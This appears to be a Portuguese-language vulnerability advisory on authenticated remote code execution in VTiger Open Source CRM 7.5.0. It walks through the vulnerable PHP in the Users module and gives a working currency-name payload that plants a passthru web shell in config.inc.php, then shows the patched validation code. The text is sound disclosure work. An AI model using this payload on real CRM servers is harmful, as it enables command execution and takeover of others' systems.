
Execução Remota de Código Autenticada no VTiger Open Source CRM v7.5
Execução Remota de Código Autenticada no VTiger Open Source CRM v7.5
Existe uma vulnerabilidade no módulo Users na versão atual do VTiger CRM Open Source versão 7.5.0 que permite a um atacante autenticado escrever e executar código PHP arbitrário no config.inc.php.
Quando um usuário está autenticado normalmente no VTiger, o sistema verifica o status de configuração para saber se é um novo usuário que ainda não foi completamente configurado. Também verifica se é o primeiro usuário, ou seja, um administrador que deve configurar certas propriedades globais. Se for o caso, ele é redirecionado para uma ação UserSetup no módulo Users.
$userSetupStatus = Users_CRMSetup::getUserSetupStatus($focus->id);
if ($userSetupStatus) {
$user = $focus->retrieve_entity_info($focus->id, 'Users');
$isFirstUser = Users_CRMSetup::isFirstUser($user);
if($isFirstUser) {
header('Location: index.php?module=Users&action=UserSetup');
}
/modules/Users/Authenticate.php, linha 112
Nesta ação, há uma verificação para saber se o usuário passou uma configuração de moeda global ("USA, Dollars" por padrão) e a salva usando a função updateBaseCurrency.
//Handling the System Setup
$currencyName = $request->get('currency_name');
if(!empty($currencyName)) $userModuleModel->updateBaseCurrency($currencyName);
$userModuleModel->insertEntryIntoCRMSetup($userRecordModel->getId());
//End
/modules/Users/actions/UserSetupSave.php, linha 28
Na função updateBaseCurrency, o valor fornecido é definido como a configuração de moeda global para todo o sistema no banco de dados e também chama a função updateConfigFile, que abre o arquivo de configuração e usa PHP str_replace para substituir o valor existente pelo valor fornecido.
public function updateConfigFile($currencyName) {
$currencyName = '$currency_name = \''.$currencyName.'\'';
//Updating in config inc file
$filename = 'config.inc.php';
if (file_exists($filename)) {
$contents = file_get_contents($filename);
$currentBaseCurrenyName = $this->getBaseCurrencyName();
$contents = str_replace('$currency_name =
\''.$currentBaseCurrenyName.'\'', $currencyName, $contents);
file_put_contents($filename, $contents);
}
}
/modules/Users/models/Module.php, linha 148
A ação de configuração do usuário na versão atual do VTiger CRM não verifica se o usuário está realmente configurado ou não, ou se tem permissão para alterar variáveis globais. Ela apenas assume que, se você está acessando essa página, é a pessoa que deve configurá-la. Assim, usando um cookie de sessão existente e um token CSRF obtido de qualquer página autenticada carregada, um usuário malicioso pode enviar por POST um valor de moeda como:
USA, Dollars';@passthru($_GET['cmd']);//
Esse valor é então escrito cegamente no arquivo config.inc.php como:
//Master currency name
$currency_name = 'USA, Dollars';@passthru($_GET['cmd']);//';
Como o arquivo de configuração é carregado em todas as páginas, um usuário malicioso pode simplesmente passar um comando unix como parâmetro cmd e ver a saída no topo da página.

Este problema foi corrigido neste commit onde foi adicionada validação adicional para garantir que nomes de moedas maliciosos não pudessem ser inseridos pelos usuários, e em vez disso o valor seria obtido da tabela do banco de dados.
public function updateBaseCurrency($currencyName) {
$db = PearDatabase::getInstance();
$result = $db->pquery('SELECT currency_code, currency_symbol, currency_name FROM vtiger_currencies WHERE currency_name = ?', array($currencyName));
$num_rows = $db->num_rows($result);
if ($num_rows > 0) {
$currency_code = decode_html($db->query_result($result, 0, 'currency_code'));
$currency_symbol = decode_html($db->query_result($result, 0,'currency_symbol'));
$currencyName = decode_html($db->query_result($result, 0, 'currency_name')); // rewrite actual from table.
} else {
// Invalid currency name.
return;
}
$this->updateConfigFile($currencyName);
//Updating Database
$query = 'UPDATE vtiger_currency_info SET currency_name = ?, currency_code = ?, currency_symbol = ? WHERE id = ?';
$params = array($currencyName, $currency_code, $currency_symbol, '1');
$db->pquery($query, $params);
}